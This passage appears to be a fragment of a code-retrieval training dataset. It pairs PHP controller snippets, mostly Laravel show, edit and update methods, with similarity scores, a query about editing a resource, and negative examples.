$this->render();\n break;\n }\n }\n }", "public function show(Resident $resident)\n {\n $this->authorize('admin.resident.show', $resident);\n\n // TODO your code goes here\n }", "public function display()\n {\n echo $this->getDisplay();\n $this->isDisplayed(true);\n }", "public function display()\n\t{\n\t\tparent::display();\n\t}", "public function get_resource();", "public function show()\n\t{\n\t\t\n\t}", "function display() {\n\n\t\t// Check authorization, abort if negative\n\t\t$this->isAuthorized() or $this->abortUnauthorized();\n\n\t\t// Get the view\n\t\t$view = $this->getDefaultView();\n\n\t\tif ($view == NULL) {\n\t\t\tthrow new Exception('Display task called, but there is no view assigned to that controller. Check method getDefaultView.');\n\t\t}\n\n\t\t$view->listing = true;\n\n\t\t// Wrap the output of the views depending on the way the stuff should be shown\n\t\t$this->wrapViewAndDisplay($view);\n\n\t}", "public function viewResources()\n {\n $database = new Database();\n\n $resources = $database->getAllActiveResourcesNoLimit();\n\n\n $resourceArray = array();\n $i = 1;\n\n foreach ($resources as $resource) {\n $availableResource = new Resource($resource['ResourceID'], $resource['ResourceName'], $resource['Description']\n , $resource['ContactName'] , $resource['ContactEmail'] , $resource['ContactPhone'] ,\n $resource['Link'], $resource['active']);\n array_push($resourceArray, $availableResource);\n $i += 1;\n }\n $resourceSize = sizeof($resourceArray);\n $this->_f3->set('resourcesByActive', $resourceArray);\n $this->_f3->set('resourcesSize', $resourceSize);\n echo Template::instance()->render('view/include/head.php');\n echo Template::instance()->render('view/include/top-nav.php');\n echo Template::instance()->render('view/resources.php');\n echo Template::instance()->render('view/include/footer.php');\n }", "public function show($id)\n {\n $this->title .= ' show';\n $this->one($id);\n }", "public function display($title = null)\n {\n echo $this->fetch($title);\n }", "public function display(){}", "public function show($id)\n\t{\n\t\t//\n\t\t//\n\t\n\t}", "public function viewAction()\n\t{\n\t\t//get Id param from request\n\t\tif (!$id = $this->_getParam('id')) {\n\t\t\t$this->getFlashMessenger()->addMessage('Product ID was not specified');\n\t\t\t$this->getRedirector()->gotoSimple('list');\n\t\t}\n\n\t\t//fetch requested ProductID from DB\n\t\tif (!$this->_model->fetch($id)) {\n\t\t\t$this->render('not-found');\n\t\t} else {\n\t\t\t$this->view->model = $this->_model;\n\t\t}\n\t}", "public function show($id)\n {\n // Get single person\n $person = Person::findOrFail($id);\n\n // Return single person as a resource\n return '<h1>Person Number '.$id.'</h1><br>'.json_encode(new PersonResource($person));\n }", "#[TODO] use self object?\n\tprotected function GET(ResourceObject $resource) {\n#[TODO]\t\tif ($resource->getMTime())\n#[TODO]\t\t\t$this->response->headers->set('Last-modified', gmdate('D, d M Y H:i:s ', $resource->getMTime()) . 'GMT');\n#[TODO]\t\tif ($resource->getCTime())\n#[TODO]\t\t\t$this->response->headers->set('Date', gmdate('D, d M Y H:i:s ', $resource->getCTime()) . 'GMT');\n\n\n#[TODO] handle file streams\n\t\t// get ranges\n#\t\t$ranges = WebDAV::getRanges($this->request, $this->response);\n\n\t\t// set the content of the response\n\t\tif ($resource instanceof ResourceDocument) {\n\t\t\t$this->response->content->set($resource->getContents());\n\t\t\t$this->response->content->setType($resource->getMIMEType());\n\t\t\t$this->response->content->encodeOnSubmit(true);\n\t\t}\n\t}", "public function display() {\n echo $this->render();\n }", "public function show($id)\n\t{\n\t//\n\t}", "public function show($id)\n\t{\n\t//\n\t}", "function Fetch($resource_name, $cache_id = null, $compile_id = null, $display = false)\n {\n return $this->_smarty->fetch($resource_name, $cache_id, $compile_id, $display);\n }", "public function show($id)\n {\n //\n $this->_show($id);\n }", "public function show()\n\t{\n\n\t}", "public function show($id) {\n\t\t//\n\t}", "public function show($id) {\n\t\t//\n\t}", "public function show($id) {\n\t\t//\n\t}", "public function show($id) {\n\t\t//\n\t}", "public function show($id) {\n\t\t//\n\t}", "public function show($id) {\n\t\t//\n\t}", "public function show($id) {\n\t\t//\n\t}", "public function show($id) {\n\t\t//\n\t}", "public function show($id) {\n\t\t//\n\t}", "public function show($id) {\n\t\t//\n\t}", "public function show($id) {}", "static public function showCallback(O_Dao_Renderer_Show_Params $params) {\r\n\t\t/* @var $r R_Mdl_Resource */\r\n\t\t$r = $params->record();\r\n\t\t// Setting layout title\r\n\t\t$params->layout()->setTitle($r->getPageTitle());\r\n\r\n?><h1><?=$r->title?></h1><div id=\"resource\"><?\r\n\t\tif($r->getContent()) {\r\n\t\t\t// page has its own content -- show it\r\n\t\t\t$r->getContent()->show($params->layout(), \"content\");\r\n\t\t} else {\r\n\t\t\t// It is a post unit, show all childs\r\n\t\t\tif($r->is_unit == 1) {\r\n\t\t\t\t$r->addQueryAccessChecks($r->getChilds(1))->show($params->layout(), \"content\");\r\n\r\n\t\t\t// It is a folder with several units, show paginator\r\n\t\t\t} elseif($r->show_def == \"last-units\") {\r\n\t\t\t\tlist($type, $perpage) = explode(\":\", $r->show_def_params);\r\n\t\t\t\t/* @var $p O_Dao_Paginator */\r\n\t\t\t\t$p = $r->addQueryAccessChecks($r->getChilds())->test(\"is_unit\", 1)->getPaginator(array($r, \"getPageUrl\"), $perpage);\r\n\t\t\t\t$p->show($params->layout(), $type);\r\n\t\t\t// It is a folder with subfolders, boxes, contents. Show one childs level\r\n\t\t\t} else {\r\n\t\t\t\t$r->addQueryAccessChecks($r->getChilds(1))->show($params->layout(), \"on-parent-page\");\r\n\t\t\t}\r\n\r\n\t\t}\r\n?></div><?\r\n\t}", "public function show($id)\r\n\t{\r\n\t\t//\r\n\r\n\r\n\r\n\t}", "public function show($resourceId, $eventId)\n {\n $routes = $this->routes;\n\n $eventable = $this->getEventableRepository()->model()->findOrFail($resourceId);\n\n if (method_exists($eventable, 'events')) {\n $event = $eventable->events()->find($eventId);\n\n if ($event) {\n $apiObject = $this->event->findApiObject($event->api_id);\n\n return view('events.eventables.show', compact('routes', 'eventable', 'event', 'apiObject'));\n }\n }\n\n abort(404);\n }", "public abstract function display();", "abstract public function resource($resource);", "public function show($id)\r\r\n\t{\r\r\n\t\t//\r\r\n\t}", "public function show( $id ) {\n\t\t//\n\t}", "public function show( $id ) {\n\t\t//\n\t}", "public function show(Response $response)\n {\n //\n }", "public function show()\n {\n return auth()->user()->getResource();\n }", "public function show($id)\n\t{\n\t\t//\n\t}", "public function show($id)\n\t{\n\t\t//\n\t}", "public function show($id)\n\t{\n\t\t//\n\t}", "public function show($id)\n\t{\n\t\t//\n\t}", "public function show($id)\n\t{\n\t\t//\n\t}", "public function show($id)\n\t{\n\t\t//\n\t}", "public function show($id)\n\t{\n\t\t//\n\t}", "public function show($id)\n\t{\n\t\t//\n\t}", "public function show($id)\n\t{\n\t\t//\n\t}", "public function show($id)\n\t{\n\t\t//\n\t}", "public function show($id)\n\t{\n\t\t//\n\t}", "public function show($id)\n\t{\n\t\t//\n\t}", "public function show($id)\n\t{\n\t\t//\n\t}", "public function show($id)\n\t{\n\t\t//\n\t}", "public function show($id)\n\t{\n\t\t//\n\t}", "public function show($id)\n\t{\n\t\t//\n\t}", "public function show($id)\n\t{\n\t\t//\n\t}", "public function show($id)\n\t{\n\t\t//\n\t}", "public function show($id)\n\t{\n\t\t//\n\t}", "public function show($id)\n\t{\n\t\t//\n\t}", "public function show($id)\n\t{\n\t\t//\n\t}", "public function show($id)\n\t{\n\t\t//\n\t}" ]
[ "0.8233718", "0.8190437", "0.6828712", "0.64986944", "0.6495974", "0.6469629", "0.6462615", "0.6363665", "0.6311607", "0.62817234", "0.6218966", "0.6189695", "0.61804265", "0.6171014", "0.61371076", "0.61207956", "0.61067593", "0.6105954", "0.6094066", "0.6082806", "0.6045245", "0.60389996", "0.6016584", "0.598783", "0.5961788", "0.59606946", "0.5954321", "0.59295714", "0.59182066", "0.5904556", "0.59036547", "0.59036547", "0.59036547", "0.5891874", "0.58688277", "0.5868107", "0.58676815", "0.5851883", "0.58144855", "0.58124036", "0.58112013", "0.5803467", "0.58012545", "0.5791527", "0.57901084", "0.5781528", "0.5779676", "0.5757105", "0.5756208", "0.57561266", "0.57453394", "0.57435393", "0.57422745", "0.5736634", "0.5736634", "0.5730559", "0.57259274", "0.5724891", "0.5722562", "0.5722562", "0.5722562", "0.5722562", "0.5722562", "0.5722562", "0.5722562", "0.5722562", "0.5722562", "0.5722562", "0.5718969", "0.5713412", "0.57091093", "0.5706405", "0.57057405", "0.5704541", "0.5704152", "0.57026845", "0.57026845", "0.56981397", "0.5693083", "0.5684962", "0.5684962", "0.5684962", "0.5684962", "0.5684962", "0.5684962", "0.5684962", "0.5684962", "0.5684962", "0.5684962", "0.5684962", "0.5684962", "0.5684962", "0.5684962", "0.5684962", "0.5684962", "0.5684962", "0.5684962", "0.5684962", "0.5684962", "0.5684962", "0.5684962" ]
0.0
-1
Show the form for editing the specified resource.
public function edit(Prescription $prescription) { }
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "public function edit(Resource $resource)\n {\n return view('admin.resources.edit', compact('resource'));\n }", "public function edit(Resource $resource)\n {\n //\n }", "public function edit($id)\n {\n /* Check if logged in user is authorized to make this request */\n $this->authorizeAction();\n\n /* Get the specified resource */\n $resource = $this->model::findOrFail($id);\n\n /* Sets the view */\n if (view()->exists(\"admin.{$this->name}.edit\")) {\n $view = \"admin.{$this->name}.edit\";\n } else {\n $view = 'admin.includes.actions.edit';\n }\n\n /* Displays the edit resource page */\n return view($view)\n ->with('resource', $resource)\n ->with('name', $this->name);\n }", "public function edit(NebulaResource $resource, $item): View\n {\n $this->authorize('update', $item);\n\n return view('nebula::resources.edit', [\n 'resource' => $resource,\n 'item' => $item,\n ]);\n }", "public function edit() {\r\n $id = $this->api->getParam('id');\r\n\r\n if ($id) {\r\n $this->model->id = $id;\r\n $this->checkOwner();\r\n }\r\n $object = $this->model->find_by_id($id);\r\n\r\n $this->api->loadView('contact-form', array('row' => $object));\r\n }", "public function viewEditResources()\n {\n $database = new Database();\n $id = $this->_params['id'];\n\n $resource = $database->getResourceById($id);\n\n $availableResource = new Resource($resource['ResourceID'], $resource['ResourceName'], $resource['Description']\n , $resource['ContactName'] , $resource['ContactEmail'] , $resource['ContactPhone'] ,\n $resource['Link'], $resource['active']);\n $this->_f3->set('Resource', $availableResource);\n\n echo Template::instance()->render('view/include/head.php');\n echo Template::instance()->render('view/include/top-nav.php');\n echo Template::instance()->render('view/edit-resources.php');\n echo Template::instance()->render('view/include/footer.php');\n }", "public function edit()\n {\n return view('hirmvc::edit');\n }", "public function editformAction(){\n\t\t$this->loadLayout();\n $this->renderLayout();\n\t}", "public function edit() {\n $id = $this->parent->urlPathParts[2];\n // pass name and id to view\n $data = $this->parent->getModel(\"fruits\")->select(\"select * from fruit_table where id = :id\", array(\":id\"=>$id));\n $this->getView(\"header\", array(\"pagename\"=>\"about\"));\n $this->getView(\"editForm\", $data);\n $this->getView(\"footer\");\n }", "public function edit($id)\n\t{\n\t\treturn $this->showForm('update', $id);\n\t}", "public function edit($id)\n {\n $model = $this->modelObj;\n $formObj = $model::findOrFail($id);\n $data['formObj'] = $formObj;\n return view($this->veiw_base . '.edit', $data);\n }", "public function createEditForm(Resourceperson $entity){\n \n $form = $this->createForm(new ResourcepersonType(), $entity, array(\n 'action' => $this->generateUrl('rsp_update', array('id' => $entity->getRpId())),\n 'method' => 'PUT',\n ));\n\n $form->add('submit', 'submit', array('label' => 'Update','attr'=> array(\n 'class'=>'btn btn primary'\n )));\n\n return $form;\n }", "private function createEditForm(Resource $entity)\n {\n $form = $this->createForm(new ResourceType(), $entity, array(\n 'action' => $this->generateUrl('social_admin_resource_update', array('id' => $entity->getId())),\n 'method' => 'PUT',\n ));\n\n $form->add('submit', 'submit', array('label' => '保存','attr'=>[\n 'class'=>'btn btn-primary'\n ]));\n\n return $form;\n }", "public function edit($id)\n {\n return $this->showForm('update', $id);\n }", "public function edit($id)\n {\n return $this->showForm('update', $id);\n }", "public function editAction()\n {\n if ($form = $this->processForm()) {\n if ($this->useTabbedForms && method_exists($this, 'getSubject')) {\n $data = $this->getModel()->loadFirst();\n $subject = $this->getSubject($data);\n $this->setPageTitle(sprintf($this->_('Edit %s %s'), $this->getTopic(1), $subject));\n } else {\n $this->setPageTitle(sprintf($this->_('Edit %s'), $this->getTopic(1)));\n }\n $this->html[] = $form;\n }\n }", "public function edit($id)\n {\n $this->data['entity'] = GS_Form::where('id', $id)->firstOrFail();\n return view('admin.pages.forms.edit', $this->data);\n }", "public function edit($id)\n\t{\n\t\t// get the fbf_presenca\n\t\t$fbf_presenca = FbfPresenca::find($id);\n\n\t\t\n\t\t// show the edit form and pass the fbf_presenca\n\t\t$this->layout->content = View::make('fbf_presenca.edit')\n->with('fbf_presenca', $fbf_presenca);\n\t}", "public function edit($id)\n {\n $data = $this->model->find($id);\n\n return view('admin.backends.employee.form.edit',compact('data'));\n }", "public function edit($model, $form);", "function edit() {\n\t\tglobal $tpl;\n\n\t\t$form = $this->initForm();\n\t\t$tpl->setContent($form->getHTML());\n\t}", "public function edit($id)\n\t{\n\t\t$faith = Faith::find($id);\n \n return view('faith.form')->with('faith', $faith);\n\n\t}", "public function edit(Form $form)\n {\n //\n }", "public function edit()\n { \n return view('admin.control.edit');\n }", "public function edit()\n {\n return view('common::edit');\n }", "public function edit($id)\n {\n $resource = (new AclResource())->AclResource;\n $roleResource = AclRole::where('role', $id)->get(['resource'])->toArray();\n $roleResource = Arr::pluck($roleResource, 'resource');\n return view('Admin.acl.role.form', [\n 'role' => $id,\n 'resource' => $resource,\n 'roleResource' => $roleResource,\n ]);\n }", "public function edit()\n {\n return view('admin::edit');\n }", "public function edit()\n {\n return view('admin::edit');\n }", "public function edit()\r\n {\r\n return view('petro::edit');\r\n }", "public function edit($id)\n {\n // show form edit user info\n }", "public function edit()\n {\n return view('escrow::edit');\n }", "public function edit($id)\n {\n $resource = ResourceManagement::find($id);\n\n $users = User::get();\n // Redirect to user list if updating user wasn't existed\n if ($resource == null || $resource->count() == 0) {\n return redirect()->intended('/resource-management');\n }\n\n return view('resources-mgmt/edit', ['resource' => $resource, 'users' => $users]);\n }", "public function edit()\n {\n return view('commonmodule::edit');\n }", "public function editAction()\n\t{\n\t\t$params = $this->data->getParams();\n\t\t$params = $this->valid->clearDataArr($params);\n\t\tif (isset($params['id']))\n\t\t{\n\t\t\t$this->employee->setFlag(true);\n\t\t}\n\t\tif (isset($_POST['submit']))\n\t\t{\n\t\t\t$action = $this->valid->clearDataArr($_POST);\n\t\t\t$this->employee->setDataArray($action);\n\t\t\theader('Location: ' . PATH . 'Employee/index/', true, 303);\n\t\t}\n\t\t$employee = $this->employee->setAction('edit');\n\t\t$this->view->addToReplace($employee);\n\t\t$this->listEmployee();\n\t\t$this->arrayToPrint();\n\t}", "public function edit(form $form)\n {\n //\n }", "public function actionEdit($id) { }", "public function edit()\n {\n return view('catalog::edit');\n }", "public function edit()\n {\n return view('catalog::edit');\n }", "public function edit()\n {\n return view('admincp::edit');\n }", "public function edit()\n {\n return view('scaffold::edit');\n }", "public function edit($id)\n {\n $header = \"Edit\";\n\t\t$data = Penerbit::findOrFail($id);\n\t\treturn view('admin.penerbit.form', compact('data','header'));\n }", "public function edit()\n {\n return view('Person.edit');\n }", "public function edit($id)\n {\n $data = Form::find($id);\n return view('form.edit', compact('data'));\n }", "public function edit($id)\n\t{\n\t\t$career = $this->careers->findById($id);\n\t\treturn View::make('careers._form', array('career' => $career, 'exists' => true));\n\t}", "public function edit($id, Request $request)\n {\n $formObj = $this->modelObj->find($id);\n\n if(!$formObj)\n {\n abort(404);\n } \n\n $data = array();\n $data['formObj'] = $formObj;\n $data['page_title'] = \"Edit \".$this->module;\n $data['buttonText'] = \"Update\";\n\n $data['action_url'] = $this->moduleRouteText.\".update\";\n $data['action_params'] = $formObj->id;\n $data['method'] = \"PUT\"; \n\n return view($this->moduleViewName.'.add', $data);\n }", "public function edit($id)\n\t{\n\t\t// get the material\n\t\t$material = Material::find($id);\n\n\t\t// show the edit form and pass the material\n\t\t$this->layout->content = View::make('material.edit')\n\t\t\t->with('material', $material);\n\t}", "public function edit(Flight $exercise, FlightResource $resource)\n {\n return $this->viewMake('adm.smartcars.exercise-resources.edit')\n ->with('flight', $exercise)\n ->with('resource', $resource);\n }", "public function edit()\n {\n $id = $this->getId();\n return view('panel.user.form', [\n 'user' => $this->userRepository->findById($id),\n 'method' => 'PUT',\n 'routePrefix' => 'profile',\n 'route' => 'profile.update',\n 'parameters' => [$id],\n 'breadcrumbs' => $this->getBreadcrumb('Editar')\n ]);\n }", "public function edit()\r\n {\r\n return view('mpcs::edit');\r\n }", "function edit()\n\t{\n\t\t// hien thi form sua san pham\n\t\t$id = getParameter('id');\n\t\t$product = $this->model->product->find_by_id($id);\n\t\t$this->layout->set('auth_layout');\n\t\t$this->view->load('product/edit', [\n\t\t\t'product' => $product\n\t\t]);\n\t}", "public function edit($id)\n {\n //\n $data = Diskon::find($id);\n\n $form = $this->form;\n $edit = $this->edit;\n $field = $this->field;\n $page = $this->page;\n $id = $id;\n $title = $this->title;\n return view('admin/page/'.$this->page.'/edit',compact('form','edit','data','field','page','id','title'));\n }", "public function edit($id)\n {\n return $this->showForm($id);\n }", "public function edit($id)\n {\n return $this->showForm($id);\n }", "protected function _edit(){\n\t\treturn $this->_editForm();\n\t}", "public function editAction()\n {\n $robot = Robots::findFirst($this->session->get(\"robot-id\"));\n if ($this->request->isGet()) {\n $this->tag->prependTitle(\"Редактировать робота :: \");\n $user = $this->session->get(\"auth-id\");\n if (!$robot) {\n $this->flashSession->error(\n \"Робот не найден\"\n );\n return $this->response->redirect(\"users/usershow/$user->name\");\n }\n\n }\n\n $this->view->form = new RobotForm(\n $robot,\n [\n \"edit\" => true,\n ]\n );\n }", "public function editAction()\n {\n $form = new $this->form();\n\n $request = $this->getRequest();\n $param = $this->params()->fromRoute('id', 0);\n\n $repository = $this->getEm()->getRepository($this->entity);\n $entity = $repository->find($param);\n\n if ($entity) {\n\n $form->setData($entity->toArray());\n\n if ( $request->isPost() ) {\n\n $form->setData($request->getPost());\n\n if ( $form->isValid() ) {\n\n $service = $this->getServiceLocator()->get($this->service);\n $service->update($request->getPost()->toArray());\n\n return $this->redirect()->toRoute($this->route, array('controller' => $this->controller));\n }\n }\n } else {\n return $this->redirect()->toRoute($this->route, array('controller' => $this->controller));\n }\n\n return new ViewModel(array('form' => $form, 'id' => $param));\n\n }", "public function edit($id)\n\t{\n\t\t$SysApplication = \\Javan\\Dynaflow\\Domain\\Model\\SysApplication::find($id);\n\t\t$form = \\FormBuilder::create('Javan\\Dynaflow\\FormBuilder\\SysApplicationForm', [\n \t'method' => 'POST',\n \t'url' => 'sysapplication/update/'.$id,\n \t'model' => $SysApplication,\n \t'data' => [ 'flow_id' => $SysApplication->flow_id]\n \t]);\n\t\treturn View::make('dynaflow::sysapplication.form', compact('form', 'SysApplication'));\n\t}", "public function editAction() {\n\t\t$id = (int) $this->_getParam('id');\n\t\t$modelName = $this->_getParam('model');\n\t\t\n\t\t$model = Marcel_Backoffice_Model::factory($modelName);\n\t\t$item = $model->find($id)->current();\n\t\tif (!$item) {\n\t\t\t$item = $model->createRow();\n\t\t}\n\t\t$form = $item->getForm();\n\t\tif ($this->_request->isPost()) {\n\t\t\t$newId = $form->populate($this->_request->getPost())->save();\n\t\t\tif ($newId) {\n\t\t\t\t$this->_helper->flashMessenger('Saved successfully!');\n\t\t\t\t$this->_helper->redirector('edit', null, null, array('id' => $newId, 'model' => $modelName));\n\t\t\t}\n\t\t}\n\t\t$this->view->form = $form;\n\t\t$this->view->messages = $this->_helper->flashMessenger->getMessages();\n\t}", "public function edit($id)\n {\n return view('models::edit');\n }", "public function edit()\n {\n return view('home::edit');\n }", "public function editAction()\n {\n $id = $this->params()->fromRoute('id');\n $entity = $this->entityManager->find(Entity\\CourtClosing::class, $id);\n if (! $entity) {\n // to do: deal with it\n }\n $form = $this->getForm('update');\n $form->bind($entity);\n if ($this->getRequest()->isPost()) {\n return $this->post();\n }\n\n return new ViewModel(['form' => $form]);\n }", "public function editAction($id)\n {\n $entity = $this->getManager()->find($id);\n\n $breadcrumbs = $this->get(\"white_october_breadcrumbs\");\n $breadcrumbs->addItem('Inicio', $this->get('router')->generate('admin.homepage'));\n $breadcrumbs->addItem($this->entityDescription, $this->get(\"router\")->generate(\"admin.$this->entityName.index\"));\n $breadcrumbs->addItem('Editar');\n\n if (!$entity) {\n throw $this->createNotFoundException('No se ha encontrado el elemento');\n }\n\n $form = $this->getForm($entity);\n\n return $this->render('AdminBundle:Default:edit.html.twig', array(\n 'entity' => $entity,\n 'form' => $form->createView(),\n 'metadata' => $this->getMetadata()\n ));\n }", "public function edit()\n {\n return view('user::edit');\n }", "public function edit()\n {\n return view('user::edit');\n }", "public function editAction()\n {\n $form = MediaForm::create($this->get('form.context'), 'media');\n $media = $this->get('media_manager.manager')->findOneById($this->get('request')->get('media_id'));\n \n $form->bind($this->get('request'), $media);\n \n return $this->render('MediaManagerBundle:Admin:form.html.twig', array('form' => $form, 'media' => $media));\n }", "public function edit(Form $form)\n {\n return view('admin.forms.edit', compact('form'));\n }", "public function editAction($id) {\n $em = $this->getDoctrine()->getManager();\n\n $entity = $em->getRepository('CdlrcodeBundle:Question')->find($id);\n\n if (!$entity) {\n throw $this->createNotFoundException('Unable to find Question entity.');\n }\n\n $editForm = $this->createEditForm($entity);\n $deleteForm = $this->createDeleteForm($id);\n\n return $this->render('CdlrcodeBundle:Question:edit.html.twig', array(\n 'entity' => $entity,\n 'edit_form' => $editForm->createView(),\n 'delete_form' => $deleteForm->createView(),\n ));\n }", "public function edit($id)\n {\n return view('consultas::edit');\n }", "public function edit(DirectorFormBuilder $form, $id)\n {\n return $form->render($id);\n }", "public function edit()\n {\n return view('dashboard::edit');\n }", "public function edit($id){\n $rfid = Rfid::find($id);\n\n //load form view\n return view('rfids.edit', ['rfid' => $rfid]);\n }", "public function edit($id)\n {\n\n // retrieve provider\n $provider = Provider::findOrFail($id);\n\n // return form with provider\n return view('backend.providers.form')->with('provider', $provider);\n }", "public function edit(Question $question)\n {\n $this->employeePermission('application' , 'edit');\n $question->chooses;\n $action = 'edit';\n return view('admin.setting.question_form', compact('action' , 'question'));\n }", "public function edit() {\n return view('routes::edit');\n }", "public function edit($id)\n {\n $this->data['product'] = Product::find($id);\n $this->data['category'] = Category::arrForSelect();\n $this->data['title'] = \" Update Prouct Details\";\n $this->data['mode'] = \"edit\";\n\n return view('product.form', $this->data);\n }", "public function edit(ClueEnFormBuilder $form, $id): Response\n {\n return $form->render($id);\n }", "public function editAction($id)\n {\n $em = $this->getDoctrine()->getManager();\n\n $entity = $em->getRepository('BaseBundle:Feriado')->find($id);\n\n if (!$entity) {\n throw $this->createNotFoundException('Unable to find Feriado entity.');\n }\n\n $editForm = $this->createEditForm($entity);\n $deleteForm = $this->createDeleteForm($id);\n\n return $this->render('BaseBundle:Feriado:edit.html.twig', array(\n 'entity' => $entity,\n 'edit_form' => $editForm->createView(),\n 'delete_form' => $deleteForm->createView(),\n ));\n }", "public function edit($id)\n {\n $resources = User::find(session('usuario_id'))->resources;\n $languages = Language::pluck('name', 'id');\n $types = Type::pluck('name', 'id');\n $method = 'PATCH';\n\n $recurso = Resource::find($id);\n $url = \"/resource/$recurso->id\";\n\n return view('resources.resources', compact('resources', 'languages', 'types', 'method', 'url', 'recurso'));\n }", "public function edit($articulo_id)\n {\n $titulo = \"Editar\";\n return View(\"articulos.formulario\",compact('titulo','articulo_id'));\n }", "public function edit($id)\n {\n return view('cataloguemodule::edit');\n }", "public function edit(Question $question)\n {\n $edit = TRUE;\n return view('questionForm', ['question' => $question, 'edit' => $edit]);\n }", "public function displayEditForm(Employee $employee){\n return view('employee.displayEditForm',['employee'=>$employee]);\n }", "public function edit()\n {\n return view('website::edit');\n }", "public function edit()\n {\n return view('inventory::edit');\n }", "public function editAction()\n {\n View::renderTemplate('Profile/edit.html', [\n 'user' => $this->user\n ]);\n }", "public function edit()\n {\n return view('initializer::edit');\n }", "public function edit($id)\n {\n return view('backend::edit');\n }", "public function edit($id)\n {\n //dd($id);\n $familiaPrograma= FamiliaPrograma::findOrFail($id);\n return view('familiasPrograma.edit', compact('familiaPrograma'));\n }", "public function edit($id)\n {\n return view('crm::edit');\n }", "public function edit($id)\n {\n return view('crm::edit');\n }", "public function edit($id)\n {\n $user = User::where('id', $id)->first();\n\n\n return view('users.forms.update', compact('user'));\n }", "public function editAction($id)\n\t{\n\t\t$school = School::find( $id );\n\t\t$this->render( View::make( 'schools/form' , array(\n\t\t\t'title' => sprintf( 'Modifier \"%s\"', $school->name ),\n\t\t\t'entity' => $school\n\t\t) ) );\n\t}", "public function edit_person($person_id){\n \t$person = Person::find($person_id);\n \treturn view('resource_detail._basic_info.edit',compact('person'));\n }", "public function edit(Question $question)\n {\n $edit = TRUE;\n return view('questionForm', ['question' => $question, 'edit' => $edit ]);\n }", "public function edit($id)\n {\n \t$product = Product::find($id);\n \treturn view('admin.products.edit')->with(compact('product')); // formulario de actualizacion de datos del producto\n }", "public function edit(Person $person) {\n\t\t$viewModel = new PersonFormViewModel();\n\t\treturn view('person.form', $viewModel);\n\t}", "public function edit($id)\n {\n $data = Restful::find($id);\n return view('restful.edit', compact('data'));\n }", "public function edit($id)\n {\n $professor = $this->repository->find($id);\n return view('admin.professores.edit',compact('professor'));\n }", "public function editAction($id)\n {\n $em = $this->getDoctrine()->getManager();\n\n $entity = $em->getRepository('MedecinIBundle:Fichepatient')->find($id);\n\n if (!$entity) {\n throw $this->createNotFoundException('Unable to find Fichepatient entity.');\n }\n\n $editForm = $this->createEditForm($entity);\n $deleteForm = $this->createDeleteForm($id);\n\n return $this->render('MedecinIBundle:Fichepatient:edit.html.twig', array(\n 'entity' => $entity,\n 'edit_form' => $editForm->createView(),\n 'delete_form' => $deleteForm->createView(),\n ));\n }", "public function edit($id)\n {\n return $this->form->render('mconsole::personal.form', [\n 'item' => $this->person->query()->with('uploads')->findOrFail($id),\n ]);\n }", "public function edit($id)\n\t{\n\t\t // get the project\n $project = Project::find($id);\n\n // show the edit form and pass the project\n return View::make('logicViews.projects.edit')->with('project', $project);\n\t}" ]
[ "0.7855196", "0.76957726", "0.7273917", "0.7241426", "0.71717227", "0.7064183", "0.70528984", "0.69836885", "0.694763", "0.69469565", "0.6941572", "0.69301945", "0.6903868", "0.68989486", "0.68989486", "0.68787694", "0.68641657", "0.6860115", "0.6857286", "0.68464494", "0.6834566", "0.68116575", "0.68075293", "0.6805924", "0.6801357", "0.6796291", "0.67915684", "0.67915684", "0.67874014", "0.678544", "0.67787844", "0.6777662", "0.67675763", "0.676299", "0.6746726", "0.6745706", "0.67450166", "0.67450166", "0.6739429", "0.6734577", "0.6725992", "0.67127997", "0.6694406", "0.6692487", "0.6689421", "0.66884303", "0.6687299", "0.6685663", "0.6682167", "0.66701853", "0.66697115", "0.6666091", "0.6666091", "0.66627705", "0.6661716", "0.6661522", "0.6657919", "0.6656454", "0.6653187", "0.6642113", "0.66332614", "0.66324973", "0.66275465", "0.66275465", "0.6619777", "0.6619387", "0.6617973", "0.66154003", "0.66110945", "0.6607966", "0.66065043", "0.6596376", "0.65953517", "0.65941286", "0.6591486", "0.6590759", "0.6588404", "0.658161", "0.6580548", "0.6579757", "0.6577171", "0.65761065", "0.657386", "0.65686774", "0.6567784", "0.65672046", "0.6566417", "0.65615803", "0.65615714", "0.65615714", "0.65592474", "0.65586483", "0.65568006", "0.6556628", "0.65564895", "0.6555322", "0.65551996", "0.6555016", "0.654888", "0.65477645", "0.65451735" ]
0.0
-1
Update the specified resource in storage.
public function update(Request $request, Prescription $prescription) { // }
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "public function updateShopifyResource() {\n $this->saving();\n $this->getShopifyApi()->call([\n 'URL' => API::PREFIX . $this->getApiPathSingleResource(),\n 'METHOD' => 'PUT',\n 'DATA' => [\n static::getResourceSingularName() => $this->shopifyData\n ]\n ]);\n }", "public function update(Request $request, Resource $resource)\n {\n $request->validate([\n 'name' => 'required',\n 'description' => 'required|string',\n 'file' => 'required|mimes:jpg,jpeg,png,doc,docx,pdf,ppt,txt',\n ]);\n\n $resource->update($request->all());\n\n if ( $request->hasFile('file') ) {\n $resource = 'resource-'.time().'.'.$request->file('file')->extension();\n $request->file->storeAs('resources', $resource,'public');\n $resource->file = $resource;\n }\n\n if ( $resource->save() ) {\n return redirect()->route('admin.resources.index')->with('success', 'Resource updated');\n } else {\n return redirect()->route('admin.resources.index')->with('error', 'Something went wrong');\n }\n }", "public function update(Request $request, Resource $resource)\n {\n //\n }", "public function updateStream($resource);", "public function update(Request $request, Storage $storage)\n {\n $storage->product_id = $request->product_id;\n $storage->amount = $request->amount;\n\n $storage->save();\n\n return redirect()->route('storages.index');\n }", "protected function updateImageResource($fileName, $imageId, $storage)\n {\n //Get image name and storage location for image\n $image = Image::where('id', '=', $imageId)->first();\n\n //Delete old image\n $this->deleteResource($image->name, $image->storage);\n\n //Store the new image\n $image->name = $fileName;\n $image->storage = $storage;\n\n $image->save();\n }", "public function update(Storage $storage, UpdateStorageRequest $request)\n {\n $this->storage->update($storage, $request->all());\n\n return redirect()->route('admin.product.storage.index')\n ->withSuccess(trans('core::core.messages.resource updated', ['name' => trans('product::storages.title.storages')]));\n }", "public function update(StoreStorage $request, Storage $storage)\n {\n $storage->fill($request->all())->save();\n $request->session()->flash('alert-success', 'Запись успешно обновлена!');\n return redirect()->route('storage.index');\n }", "public function update_asset($id, Request $request){\n \t\tif(!Auth::user()){\n\t\t\treturn redirect('/');\n\t\t}\n \t\t$asset = Storage::find($id);\n \t\t$asset->name = $request->name;\n \t\t$asset->quantity = $request->quantity;\n \t\t$asset->category_id = $request->category;\n \t\tif($request->file('image') != null){\n\t\t\t$image = 